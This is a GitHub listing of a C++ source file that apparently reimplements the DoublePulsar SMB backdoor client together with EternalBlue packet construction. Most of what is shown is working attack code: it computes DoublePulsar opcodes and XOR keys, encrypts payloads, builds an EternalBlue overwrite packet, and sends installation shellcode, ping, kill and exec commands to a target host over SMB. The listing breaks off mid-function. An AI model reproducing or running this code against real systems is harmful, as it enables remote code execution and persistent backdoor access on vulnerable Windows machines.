-
Notifications
You must be signed in to change notification settings - Fork 3
/
Copy pathDoublePulsar_second_implementation.cpp
1689 lines (1322 loc) · 47.4 KB
/
DoublePulsar_second_implementation.cpp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
#include <WinSock2.h>
#include <Windows.h>
#include <stdio.h>
//defines
WORD get_pid(smb_info*);
WORD get_uid(smb_info*);
WORD get_mid(smb_info*);
WORD get_tid(smb_info*);
WORD get_fid(smb_info*);
WORD get_special_mid(smb_info*);
WORD get_special_pid(smb_info*);
WORD get_datadisplacement(smb_info*);
void set_pid(smb_info*, WORD);
void set_uid(smb_info*, WORD);
void set_mid(smb_info*, WORD);
void set_tid(smb_info*, WORD);
void set_fid(smb_info*, WORD);
void set_special_mid(smb_info*, WORD);
void set_special_pid(smb_info*, WORD);
void set_datadisplacement(smb_info*, WORD);
#pragma pack(push, 1)
typedef struct _REQ_TRANSACTION_SECONDARY {
BYTE WordCount;
WORD TotalParameterCount;
WORD TotalDataCount;
WORD ParameterCount;
WORD ParameterOffset;
WORD ParameterDisplacement;
WORD DataCount;
WORD DataOffset;
WORD DataDisplacement;
WORD ByteCount;
BYTE Buffer[1];
// UCHAR Pad1[];
// UCHAR Trans_Parameters[ParameterCount];
// UCHAR Pad2[];
// UCHAR Trans_Data[DataCount];
}REQ_TRANSACTION_SECONDARY, * PREQ_TRANSACTION_SECONDARY;
typedef struct _REQ_TRANSACTION2 {
BYTE WordCount;
WORD TotalParameterCount;
WORD TotalDataCount;
WORD MaxParameterCount;
WORD MaxDataCount;
BYTE MaxSetupCount;
BYTE Reserved1;
WORD Flags;
DWORD Timeout;
WORD Reserved2;
WORD ParameterCount;
WORD ParameterOffset;
WORD DataCount;
WORD DataOffset;
BYTE SetupCount;
BYTE Reserved3;
BYTE Buffer[1];
}REQ_TRANSACTION2, * PREQ_TRANSACTION2;
typedef struct _RESP_TRANSACTION2 {
BYTE WordCount;
WORD TotalParameterCount;
WORD TotalDataCount;
WORD Reserved1;
WORD ParameterCount;
WORD ParameterOffset;
WORD ParameterDisplacement;
WORD DataCount;
WORD DataDisplacement;
BYTE SetupCount;
BYTE Reserved2;
BYTE Buffer[1];
}RESP_TRANSACTION2, * PRESP_TRANSACTION2;
typedef struct _REQ_TRANSACTION2_SECONDARY {
BYTE WordCount;
WORD TotalParameterCount;
WORD TotalDataCount;
WORD ParameterCount;
WORD ParameterOffset;
WORD ParameterDisplacement;
WORD DataCount;
WORD DataOffset;
WORD DataDisplacement;
WORD FID;
WORD ByteCount;
BYTE Buffer[1];
}REQ_TRANSACTION2_SECONDARY, * PREQ_TRANSACTION2_SECONDARY;
#pragma pack(pop)
#pragma pack(push, 1)
typedef struct _SMB_HEADER {
BYTE Protocol[4];
BYTE Command;
union {
struct {
BYTE ErrorClass;
BYTE Reserved;
WORD Error;
}DosError;
DWORD NtStatus;
}Status;
BYTE Flags;
WORD Flags2;
union {
WORD Reserved[6];
struct {
WORD PidHigh;
union {
struct {
DWORD Key;
WORD Sid;
WORD SequenceNumber;
WORD Gid;
};
BYTE SecuritySignature[8];
};
};
};
WORD Tid;
WORD Pid;
WORD Uid;
WORD Mid;
}SMB_HEADER, * PSMB_HEADER;
#pragma pack(pop)
struct smb_info {
WORD fid;
WORD tid;
WORD pid;
WORD uid;
WORD mid;
WORD special_mid;
WORD special_pid;
WORD DataDisplacement;
UNICODE_STRING tree_connection;
STRING tree_connect_andx_svc;
BYTE AndxCommand;
WORD AndxOffset;
PVOID sockaddrpointer;
PVOID socketpointer;
PVOID wsapointer;
DWORD_PTR connection_handle;
DWORD srv_last_error;
BYTE headerinfo[32];
BOOL DoublePulsarInstalled;
DWORD DoublePulsarXorKey;
WORD TransIndataShiftCount;
WORD TransFragTagOffset;
WORD TransConnectionOffset;
ULONG_PTR LastOOBReadAddress;
ULONG_PTR LastOOBWriteAddress;
STRING AttackingIPAddress;
};
typedef struct BUFFER {
DWORD dwsize;
PBYTE pbdata;
}BUFWITHSIZE, * PBUFWITHSIZE;
#define SMB_COM_NEGOTIATE 0x72
#define SMB_COM_SESSION_SETUP_ANDX 0x73
#define SMB_COM_TREE_CONNECT 0x75
#define SMB_COM_TRANS 0x25
#define SMB_COM_TRANS_SECONDARY 0x26
#define SMB_COM_TRANS2 0x32
//from smbmacros.h
#define SMB_COM_TRANS2_SECONDARY 0x33
#define NETBIOS_SIZE_OFFSET 2U
#define SMB_HEADER_OFFSET 4U
#define SMB_PARAM_OFFSET 36
#define DOPU_PING_OPCODE 0x23
#define DOPU_EXEC_OPCODE 0xC8
#define DOPU_KILL_OPCODE 0x77
#define DOPU_ERROR_SUCCESS 0x10
#define DOPU_ERROR_ALLOCATION 0x30
#define DOPU_ERROR_PARAMETERS 0x20
#define SMB_FLAGS_LOCK_AND_READ_OK 0x01
#define SMB_FLAGS_BUF_AVAIL 0x2
#define SMB_FLAGS_CASE_INSENSITIVE 0x08
#define SMB_FLAGS_CANONICALIZED_PATHS 0x10
#define SMB_FLAGS_OPLOCK 0x20
#define SMB_FLAGS_REPLY 0x80
#define GetSocket(sockptr) \
*(SOCKET *)(sockptr)
#define PutSocket(dest, value) \
*(SOCKET *)(dest) = (value)
#define GetUshort(src) \
*(WORD *)(src)
#define PutUshort(dst, val) \
*(WORD *)(dst) = (val)
#define GetUlong(src) \
*(DWORD *)(src)
#define PutUlong(dst, val) \
*(DWORD *)(dst) = (val)
#define GetUlongPtr(src) \
*(DWORD_PTR*)(src)
#define PutUlongPtr(dst, val) \
*(DWORD_PTR *)(dst) = (val)
#define GetUlonglong(src) \
*(ULONGLONG*)(src)
#define PutUlonglong(dest, value) \
*(ULONGLONG *)(dest) = (value)
#define GetUnsigned(src) \
*(unsigned *)(src)
#define PutUnsigned(dst, val) \
*(unsigned *)(dst) = (val)
#define byteswap16(value) \
((WORD)((((value) >> 8) & 0xFF) | (((value) & 0xFF) << 8)))
#define byteswap32(value) \
((((value) & 0xFF000000) >> 24) | (((value) & 0x00FF0000) >> 8) | (((value) & 0xFF00) << 8) | (((value) & 0xFF) << 24))
#define byteswap64(value) \
((((value) & 0xFF00000000000000ULL) >> 56) \
| (((value) & 0x00FF000000000000ULL) >> 40) \
| (((value) & 0x0000FF0000000000ULL) >> 24) \
| (((value) & 0x000000FF00000000ULL) >> 8) \
| (((value) & 0x00000000FF000000ULL) << 8) \
| (((value) & 0x0000000000FF0000ULL) << 24) \
| (((value) & 0x000000000000FF00ULL) << 40) \
| (((value) & 0x00000000000000FFULL) << 56))
#define badsock(sfd) \
((BOOLEAN)((sfd) == INVALID_SOCKET) ? TRUE : FALSE)
#define validsock(sfd) \
((BOOLEAN)((sfd) != INVALID_SOCKET) ? TRUE : FALSE)
#define isnull(x) \
((BOOLEAN)((x) == NULL) ? TRUE : FALSE)
#define notnull(x) \
((BOOLEAN)((x) != NULL) ? TRUE : FALSE)
#define issockerr(status) \
((BOOLEAN)((status) == SOCKET_ERROR) ? TRUE : FALSE)
#define MAKEUNSIGNED(x) \
((unsigned)(x))
#define MAKEPBYTE(x) \
((PBYTE)(x))
#define MAKEPSMB(x) \
((PSMB_HEADER)(x))
#define MAKEPWSTR(x) \
((PWSTR)(x))
#define MAKEPCWSTR(x) \
((PCWSTR)(x))
#define MAKEPWORD(x) \
((WORD *)(x))
#define MAKEPDWORD(x) \
((DWORD *)(x))
#define MAKEPVOID(x) \
((PVOID)(x))
#define cpy(dst, src, size) (memcpy(dst, src, (size_t)(size)))
#define cmp(a, b, size) (__memcmp(a, b, size))
#define bzero(ptr, size) (memset((ptr), 0x00, (size_t)(size)))
DWORD __stdcall GetDoublePulsarStatusCode(BUFFER* IN bws, BUFFER IN* request)
{
DWORD status = 0;
PSMB_HEADER smbresp = MAKEPSMB(bws->pbdata + SMB_HEADER_OFFSET), smbreq = MAKEPSMB(request->pbdata + SMB_PARAM_OFFSET);
PRESP_TRANSACTION2 trans2resp = (PRESP_TRANSACTION2)(bws->pbdata + SMB_PARAM_OFFSET);
PREQ_TRANSACTION2 trans2req = (PREQ_TRANSACTION2)(request->pbdata + SMB_PARAM_OFFSET);
status = (DWORD)(GetUshort(&smbresp->Mid) - GetUshort(&smbreq->Mid));
status &= 0xFFUL;
return status;
}
DWORD __stdcall GetDoublePulsarOpCode(BUFFER* IN bws)
{
DWORD opcode = 0, t = 0;
PREQ_TRANSACTION2 trans2 = (PREQ_TRANSACTION2)(bws->pbdata + SMB_PARAM_OFFSET);
PutUlong(&t, GetUlong(&trans2->Timeout));
opcode = ((t)+(t >> 8) + (t >> 16) + (t >> 24));
return (opcode & 0xFF);
}
BOOL __stdcall GenerateDoublePulsarOpcodePacket(BUFFER* IN OUT bws, BYTE opcode)
{
DWORD op = 0, k = 0, t = 0;
PREQ_TRANSACTION2 trans2 = NULL;
PSMB_HEADER smb = NULL;
op = opcode;
//PutUnsigned(&k, random());
csprng(MAKEPBYTE(&k), sizeof(k));
t = 0xFF & (op - ((k & 0xFFFF00) >> 16) - (0xFFFF & (k & 0xFF00) >> 8)) | k & 0xFFFF00;
smb = MAKEPSMB(bws->pbdata + SMB_HEADER_OFFSET);
trans2 = (PREQ_TRANSACTION2)(bws->pbdata + SMB_PARAM_OFFSET);
PutUlong(&trans2->Timeout, GetUlong(&t));
if (!cmp(smb->Protocol, "\xFFSMB", 4))
return FALSE;
else
return TRUE;
}
DWORD __stdcall GetDoublePulsarXorKey(BUFFER* IN bws)
{
ULONGLONG s = 0;
ULARGE_INTEGER x = { 0 };
PSMB_HEADER smb = MAKEPSMB(bws->pbdata + SMB_HEADER_OFFSET);
s = byteswap64(GetUlonglong(smb->SecuritySignature));
s = GetUlonglong(smb->SecuritySignature);
x.QuadPart = (2 * s ^ (((s & 0xFF00 | (s << 16)) << 8) | (((s >> 16) | s & 0xFF0000) >> 8)));
return (x.LowPart & 0xFFFFFFFF);
}
BOOL __stdcall XorEncryptPayload(BUFFER IN OUT* payload, DWORD IN xorkey)
{
static BUFFER tmp;
DWORD doublewordsize = 0, remainder = 0, * dwptr = NULL, i = 0;
if (isnull(payload) || !GetUlong(&xorkey))
return FALSE;
if (payload->dwsize % 0x1000)
return FALSE;
doublewordsize = (payload->dwsize / sizeof(DWORD));
dwptr = MAKEPDWORD(payload->pbdata);
for (i = 0; i < doublewordsize; i++)
dwptr[i] ^= xorkey;
return TRUE;
}
WORD get_pid(smb_info* i)
{
return GetUshort(&i->pid);
}
WORD get_uid(smb_info* i)
{
return GetUshort(&i->uid);
}
WORD get_mid(smb_info* i)
{
return GetUshort(&i->mid);
}
WORD get_tid(smb_info* i)
{
return GetUshort(&i->tid);
}
WORD get_fid(smb_info* i)
{
return GetUshort(&i->fid);
}
WORD get_special_mid(smb_info* i)
{
return GetUshort(&i->special_mid);
}
WORD get_special_pid(smb_info* i)
{
return GetUshort(&i->special_pid);
}
WORD get_datadisplacement(smb_info* i)
{
return GetUshort(&i->DataDisplacement);
}
void set_pid(smb_info* i, WORD pid)
{
PutUshort(&i->pid, pid);
}
void set_uid(smb_info* i, WORD uid)
{
PutUshort(&i->uid, uid);
}
void set_mid(smb_info* i, WORD mid)
{
PutUshort(&i->mid, mid);
}
void set_tid(smb_info* i, WORD tid)
{
PutUshort(&i->tid, tid);
}
void set_fid(smb_info* i, WORD fid)
{
PutUshort(&i->fid, fid);
}
void set_special_mid(smb_info* i, WORD special_mid)
{
PutUshort(&i->special_mid, special_mid);
}
void set_special_pid(smb_info* i, WORD special_pid)
{
PutUshort(&i->special_pid, special_pid);
}
void set_datadisplacement(smb_info* i, WORD datadisplacement)
{
PutUshort(&i->DataDisplacement, datadisplacement);
}
void bwsalloc(BUFFER OUT* bws, DWORD IN size)
{
SIZE_T siz = size;
*bws = { 0 };
bws->dwsize += size;
#ifdef EXEC_ALLOC
bws->pbdata = MAKEPBYTE(VirtualAlloc(NULL, siz, MEM_COMMIT, PAGE_EXECUTE_READWRITE));
#else
bws->pbdata = MAKEPBYTE(HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY | HEAP_GENERATE_EXCEPTIONS, siz));
#endif // EXEC_ALLOC
if (isnull(bws->pbdata))
{
errmsg(__FUNCSIG__, __LINE__, GetLastError() | STATUS_NO_MEMORY);
return;
}
RtlZeroMemory(bws->pbdata, siz);
return;
}
void bwsfree(BUFFER IN* bws)
{
#ifdef EXEC_ALLOC
if (notnull(bws->pbdata))
if (!VirtualFree(bws->pbdata, 0, MEM_RELEASE))
errmsg(__FUNCSIG__, __LINE__, GetLastError());
#else
if (notnull(bws->pbdata))
if (!HeapFree(GetProcessHeap(), 0, bws->pbdata))
errmsg(__FUNCSIG__, __LINE__, GetLastError());
#endif // EXEC_ALLOC
RtlZeroMemory(bws, sizeof(BUFFER));
return;
}
PBYTE doublepulsar_installation_shellcode(BUFFER IN OUT* bws)
{
bwsalloc(bws, NETBIOS_SESSION_SERVICE_DOUBLE_PULSAR_SHELLCODE_SIZE);
cpy(bws->pbdata, NETBIOS_SESSION_SERVICE_DOUBLE_PULSAR_SHELLCODE, bws->dwsize);
return bws->pbdata;
}
PBYTE trans2_secondary_fid_zero_eternalblue_overwrite_packet(BUFFER IN OUT* bws, WORD pid, WORD uid, WORD mid, WORD tid, WORD DataDisplacement)
{
PSMB_HEADER h = NULL;
PREQ_TRANSACTION2_SECONDARY trans = NULL;
bwsalloc(bws, TRANS2_SECONDARY_FID_ZERO_ETERNALBLUE_OVERWRITE_PACKET_SIZE);
cpy(bws->pbdata, TRANS2_SECONDARY_FID_ZERO_ETERNALBLUE_OVERWRITE_PACKET, bws->dwsize);
h = MAKEPSMB(bws->pbdata + SMB_HEADER_OFFSET);
trans = (PREQ_TRANSACTION2_SECONDARY)(bws->pbdata + SMB_PARAM_OFFSET);
PutUshort(&h->Pid, pid);
PutUshort(&h->Uid, uid);
PutUshort(&h->Mid, mid);
PutUshort(&h->Tid, tid);
PutUshort(&trans->DataDisplacement, DataDisplacement);
return bws->pbdata;
}
PBYTE trans2_session_setup_dopu_ping(BUFFER IN OUT* bws, WORD IN pid, WORD IN uid, WORD IN mid, WORD IN tid)
{
HMODULE lib = NULL;
packet_creation_handler_type_one create_packet = NULL;
lib = SmbLibraryInitialize();
if (isnull(lib))
return FALSE;
create_packet = (packet_creation_handler_type_one)GetProcAddress(lib, "trans2_session_setup_dopu_ping");
if (isnull(create_packet))
return FALSE;
return create_packet(bws, pid, uid, mid, tid);
}
PBYTE trans2_session_setup_dopu_kill(BUFFER IN OUT* bws, WORD IN pid, WORD IN uid, WORD IN mid, WORD IN tid)
{
HMODULE lib = NULL;
packet_creation_handler_type_one create_packet = NULL;
lib = SmbLibraryInitialize();
create_packet = (packet_creation_handler_type_one)GetProcAddress(lib, "trans2_session_setup_dopu_kill");
if (isnull(lib) || isnull(create_packet))
return FALSE;
return create_packet(bws, pid, uid, mid, tid);
}
PBYTE trans2_session_setup_dopu_exec(BUFFER IN OUT* bws, BUFFER IN* xorkeypacket, BUFFER IN* payload, WORD IN pid, WORD IN uid, WORD IN mid, WORD IN tid)
{
HMODULE lib = NULL;
packet_creation_handler_type_six create_packet = NULL;
lib = SmbLibraryInitialize();
if (isnull(lib))
return NULL;
create_packet = (packet_creation_handler_type_six)GetProcAddress(lib, "trans2_session_setup_dopu_exec");
if (isnull(create_packet))
return NULL;
return create_packet(bws, xorkeypacket, payload, pid, uid, mid, tid);
}
PBYTE tree_disconnect_packet(BUFFER IN OUT* bws, WORD IN pid, WORD IN uid, WORD IN mid, WORD IN tid)
{
PSMB_HEADER h = NULL;
PRESP_TRANSACTION_INTERIM treedisconnect = NULL;
bwsalloc(bws, DOUBLE_PULSAR_TREE_DISCONNECT_PACKET_SIZE);
cpy(bws->pbdata, DOUBLE_PULSAR_TREE_DISCONNECT_PACKET, bws->dwsize);
h = MAKEPSMB(bws->pbdata + SMB_HEADER_OFFSET);
treedisconnect = (PRESP_TRANSACTION_INTERIM)(bws->pbdata + SMB_PARAM_OFFSET);
PutUshort(&h->Pid, pid);
PutUshort(&h->Uid, uid);
PutUshort(&h->Mid, mid);
PutUshort(&h->Tid, tid);
return bws->pbdata;
}
PBYTE logoff_andx_packet(BUFFER IN OUT* bws, WORD IN pid, WORD IN uid, WORD IN mid, WORD IN tid)
{
PSMB_HEADER h = NULL;
bwsalloc(bws, DOUBLE_PULSAR_LOGOFF_ANDX_PACKET_SIZE);
cpy(bws->pbdata, DOUBLE_PULSAR_LOGOFF_ANDX_PACKET, bws->dwsize);
h = MAKEPSMB(bws->pbdata + SMB_HEADER_OFFSET);
PutUshort(&h->Pid, pid);
PutUshort(&h->Uid, uid);
PutUshort(&h->Mid, mid);
PutUshort(&h->Tid, tid);
return bws->pbdata;
}
unsigned int SendData(BUFFER IN OUT* bws, SOCKET& s, unsigned int& status)
{
status = 0;
if (badsock(s))
return MAKEUNSIGNED(WSAGetLastError());
*(int*)(&status) = send(s, (const char*)bws->pbdata, *(int*)(&bws->dwsize), 0);
return status;
}
unsigned int RecvData(BUFFER IN OUT* bws, DWORD IN bufsize, SOCKET& s, unsigned int& status)
{
bwsalloc(bws, bufsize);
if (badsock(s))
return MAKEUNSIGNED(WSAGetLastError());
*(int*)(&status) = recv(s, (char*)bws->pbdata, *(int*)(&bws->dwsize), 0);
return status;
}
BOOLEAN SendRecvTrans2SessionSetup(RequestPacketLinkedList* IN OUT outbound, ResponsePacketLinkedList* IN OUT inbound, SOCKET& IN s, smb_info* IN info)
{
static unsigned int sendsize[2], recvsize[2];
BUFFER* srv = &outbound->ThisPacket, * client = &inbound->ThisPacket, tmp = { 0 };
packet_creation_handler_type_one create_packet = &trans2_session_setup_packet;
if (isnull(outbound) || isnull(inbound) || isnull(info))
return FALSE;
if (badsock(s))
return FALSE;
if (isnull(create_packet))
return FALSE;
if (isnull(create_packet(srv, get_pid(info), get_uid(info), get_mid(info), get_tid(info))))
return FALSE;
PutUnsigned(sendsize, SendData(srv, s, GetUnsigned(sendsize + 1)));
if (!GetUlong(sendsize) || issockerr(GetUlong(sendsize)))
return FALSE;
PutUnsigned(recvsize, RecvData(client, 0x400, s, GetUnsigned(recvsize + 1)));
if (!GetUlong(recvsize) || issockerr(GetUlong(recvsize)))
return FALSE;
bwsalloc(&tmp, GetUlong(recvsize));
cpy(tmp.pbdata, client->pbdata, tmp.dwsize);
bwsfree(client);
bwsalloc(client, tmp.dwsize);
cpy(client->pbdata, tmp.pbdata, client->dwsize);
bwsfree(&tmp);
inbound->ThisNetbiosSize = client->pbdata + NETBIOS_SIZE_OFFSET;
outbound->ThisNetbiosSize = srv->pbdata + NETBIOS_SIZE_OFFSET;
inbound->ThisSmb = MAKEPSMB(client->pbdata + SMB_HEADER_OFFSET);
outbound->ThisSmb = MAKEPSMB(srv->pbdata + SMB_HEADER_OFFSET);
if (!cmp(inbound->ThisSmb->Protocol, "\xFFSMB", 4))
return FALSE;
return TRUE;
}
BOOLEAN SendRecvDoublePulsarInstallationShellcode(RequestPacketLinkedList OUT* outbound, ResponsePacketLinkedList OUT* inbound, SOCKET& s, smb_info* info)
{
static unsigned int sendsize[2], recvsize[2];
BUFFER* srv = &outbound->ThisPacket, * client = &inbound->ThisPacket, tmp = { 0 };
packet_creation_handler_type_five create_packet = &doublepulsar_installation_shellcode;
if (isnull(outbound) || isnull(inbound) || isnull(info))
return FALSE;
if (badsock(s))
return FALSE;
if (isnull(create_packet))
return FALSE;
if (isnull(create_packet(srv)))
return FALSE;
PutUnsigned(sendsize, SendData(srv, s, GetUnsigned(sendsize + 1)));
if (!GetUlong(sendsize) || issockerr(GetUlong(sendsize)))
return FALSE;
inbound->ThisNetbiosSize = NULL, inbound->ThisSmb = NULL;
outbound->ThisNetbiosSize = NULL, outbound->ThisSmb = NULL;
return TRUE;
}
BOOLEAN SendRecvTrans2SessionSetupPing(RequestPacketLinkedList* IN OUT outbound, ResponsePacketLinkedList* IN OUT inbound, SOCKET& IN s, smb_info* IN info)
{
static unsigned int sendsize[2], recvsize[2];
BUFFER* srv = &outbound->ThisPacket, * client = &inbound->ThisPacket, tmp = { 0 };
packet_creation_handler_type_one create_packet = &trans2_session_setup_dopu_ping;
if (isnull(outbound) || isnull(inbound) || isnull(info))
return FALSE;
if (badsock(s))
return FALSE;
if (isnull(create_packet))
return FALSE;
if (isnull(create_packet(srv, get_pid(info), get_uid(info), get_mid(info), get_tid(info))))
return FALSE;
PutUnsigned(sendsize, SendData(srv, s, GetUnsigned(sendsize + 1)));
if (!GetUlong(sendsize) || issockerr(GetUlong(sendsize)))
return FALSE;
PutUnsigned(recvsize, RecvData(client, 0x400, s, GetUnsigned(recvsize + 1)));
if (!GetUlong(recvsize) || issockerr(GetUlong(recvsize)))
return FALSE;
bwsalloc(&tmp, GetUlong(recvsize));
cpy(tmp.pbdata, client->pbdata, tmp.dwsize);
bwsfree(client);
bwsalloc(client, tmp.dwsize);
cpy(client->pbdata, tmp.pbdata, client->dwsize);
bwsfree(&tmp);
inbound->ThisNetbiosSize = client->pbdata + NETBIOS_SIZE_OFFSET;
outbound->ThisNetbiosSize = srv->pbdata + NETBIOS_SIZE_OFFSET;
inbound->ThisSmb = MAKEPSMB(client->pbdata + SMB_HEADER_OFFSET);
outbound->ThisSmb = MAKEPSMB(srv->pbdata + SMB_HEADER_OFFSET);
if (!cmp(inbound->ThisSmb->Protocol, "\xFFSMB", 4))
return FALSE;
return TRUE;
}
BOOLEAN SendRecvTrans2SessionSetupKill(RequestPacketLinkedList* IN OUT outbound, ResponsePacketLinkedList* IN OUT inbound, SOCKET& IN s, smb_info* IN info)
{
static unsigned int sendsize[2], recvsize[2];
BUFFER* srv = &outbound->ThisPacket, * client = &inbound->ThisPacket, tmp = { 0 };
packet_creation_handler_type_one create_packet = &trans2_session_setup_dopu_kill;
if (isnull(outbound) || isnull(inbound) || isnull(info))
return FALSE;
if (badsock(s))
return FALSE;
if (isnull(create_packet))
return FALSE;
if (isnull(create_packet(srv, get_pid(info), get_uid(info), get_mid(info), get_tid(info))))
return FALSE;
PutUnsigned(sendsize, SendData(srv, s, GetUnsigned(sendsize + 1)));
if (!GetUlong(sendsize) || issockerr(GetUlong(sendsize)))
return FALSE;
PutUnsigned(recvsize, RecvData(client, 0x400, s, GetUnsigned(recvsize + 1)));
if (!GetUlong(recvsize) || issockerr(GetUlong(recvsize)))
return FALSE;
bwsalloc(&tmp, GetUlong(recvsize));
cpy(tmp.pbdata, client->pbdata, tmp.dwsize);
bwsfree(client);
bwsalloc(client, tmp.dwsize);
cpy(client->pbdata, tmp.pbdata, client->dwsize);
bwsfree(&tmp);
inbound->ThisNetbiosSize = client->pbdata + NETBIOS_SIZE_OFFSET;
outbound->ThisNetbiosSize = srv->pbdata + NETBIOS_SIZE_OFFSET;
inbound->ThisSmb = MAKEPSMB(client->pbdata + SMB_HEADER_OFFSET);
outbound->ThisSmb = MAKEPSMB(srv->pbdata + SMB_HEADER_OFFSET);
if (!cmp(inbound->ThisSmb->Protocol, "\xFFSMB", 4))
return FALSE;
return TRUE;
}
BOOLEAN SendRecvTrans2SessionSetupExec(RequestPacketLinkedList* IN OUT outbound, ResponsePacketLinkedList* IN OUT inbound, SOCKET& IN s, smb_info* IN info, BUFFER IN* xorkeypacket, BUFFER IN* payload)
{
static unsigned int sendsize[2], recvsize[2];
BUFFER* srv = &outbound->ThisPacket, * client = &inbound->ThisPacket, tmp = { 0 };
packet_creation_handler_type_six create_packet = &trans2_session_setup_dopu_exec;
if (isnull(outbound) || isnull(inbound) || isnull(info) || isnull(xorkeypacket) || isnull(payload))
{
SetLastError(STATUS_INVALID_PARAMETER);
return FALSE;
}
if (badsock(s))
{
SetLastError(((WSAGetLastError() != 0) ? WSAGetLastError() : STATUS_INVALID_PARAMETER));
return FALSE;
}
if (isnull(create_packet))
{
SetLastError(STATUS_INVALID_PARAMETER);
return FALSE;
}
if (isnull(create_packet(srv, xorkeypacket, payload, get_pid(info), get_uid(info), get_mid(info), get_tid(info))))
{
if (!GetLastError())
SetLastError(STATUS_FAIL);
return FALSE;
}
PutUnsigned(sendsize, SendData(srv, s, GetUnsigned(sendsize + 1)));
if (!GetUlong(sendsize) || issockerr(GetUlong(sendsize)))
return FALSE;
/*PutUnsigned(recvsize, RecvData(client, 0x1000, s, GetUnsigned(recvsize + 1)));
if (!GetUlong(recvsize) || issockerr(GetUlong(recvsize)))
return FALSE;
bwsalloc(&tmp, GetUlong(recvsize));
cpy(tmp.pbdata, client->pbdata, tmp.dwsize);
bwsfree(client);
bwsalloc(client, tmp.dwsize);
cpy(client->pbdata, tmp.pbdata, client->dwsize);
bwsfree(&tmp);
inbound->ThisNetbiosSize = client->pbdata + NETBIOS_SIZE_OFFSET;
outbound->ThisNetbiosSize = srv->pbdata + NETBIOS_SIZE_OFFSET;
inbound->ThisSmb = MAKEPSMB(client->pbdata + SMB_HEADER_OFFSET);
outbound->ThisSmb = MAKEPSMB(srv->pbdata + SMB_HEADER_OFFSET);
if (!cmp(inbound->ThisSmb->Protocol, "\xFFSMB", 4))
return FALSE;*/
return TRUE;
}
DWORD __stdcall DoublePulsarExecuteShellcode(PVOID pvip)
{
BUFFER tmp = { 0 }, shellcode = { 0 };
PCSTR paramip = (PCSTR)pvip;
UNICODE_STRING wip = { 0 }, shellcodefilename = { 0 };
STRING ip = { 0 };
static smb_info info;
static RequestPacketLinkedList requests[0x20], * req;
static ResponsePacketLinkedList responses[0x20], * resp;
DWORD i = 0, j = 0, currententryval = 0, numberofreqentries = 0x20, leakentrycount = 0x8, attempts = 3, groomcount = 0, numberofrespentries = 0x20, numberoftransentries = 8;
WORD tmpmid = 0;
SOCKET s[2] = { 0 };
WSAData wsa = { 0 };
sockaddr_in sa[2] = { 0 };
unsigned status[0x10] = { 0 }, * connectstatus = (status + 1);
BOOLEAN bstatus = 0;
static ANYPOINTER any;
static DWORD smbrequestandresponsecount;
